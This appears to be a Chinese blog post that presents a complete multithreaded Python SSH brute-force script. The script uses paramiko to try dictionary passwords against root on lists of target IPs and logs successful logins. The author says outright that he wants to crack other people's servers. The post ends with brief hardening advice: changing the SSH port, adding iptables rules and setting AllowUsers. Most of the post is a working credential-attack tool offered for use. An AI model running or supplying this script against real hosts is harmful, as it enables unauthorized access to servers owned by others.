python多線程ssh爆破
0x01.About
這幾天發現朋友的服務器22被人爆了,于是想想,也想去爆別人服務器。
爆弱口令時候寫的一個python小腳本,主要功能是實現使用字典多線程爆破ssh,支持ip表導入,字典數據導入。
主要使用到的是python的paramiko模塊和多線程threading模塊。
那么,首先要準備的是字典dict、服務器ip表。
東西很簡單,主要默認目錄如下:
|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password ip和password按照一行一個放置。
0x02.Code
下面上源碼吧,文件保存為ssh.scan.py,查看使用方式:python ssh.scan.py -h
#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os
class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password = open(self.dict).read().split('\n')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()
def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText = open(ipFile).read().split('\n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def help():
print("python ssh.scan.py 使用說明:\n\
python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1) 結果比較丑,自己爆自己服務器:
0x03.Solution
怎么辦呢?防止被人爆菊,那就修改ssh默認登陸端口吧。修改方式主要是修改ssh配置文件:
1.修改iptables
首先要過防火墻,修改防火墻規則:
/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT
保存規則:
service iptables save
重啟防火墻:
service iptables restart
2.修改ssh配置文件
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
修改ssh端口:
vim /etc/ssh/sshd_config
在端口#Port 22下面增加Port 2333
vim /etc/ssh/ssh_config
在端口#Port 22下面增加Port 2333
重啟ssh服務:
service sshd restart
3.其他修改
限制用戶的SSH訪問
假設我們只要xiaocao和homeway用戶能通過SSH使用系統,向sshd_config配置文件中添加
vim /etc/ssh/sshd_config
修改下面一行:
AllowUsers xiaocao homeway
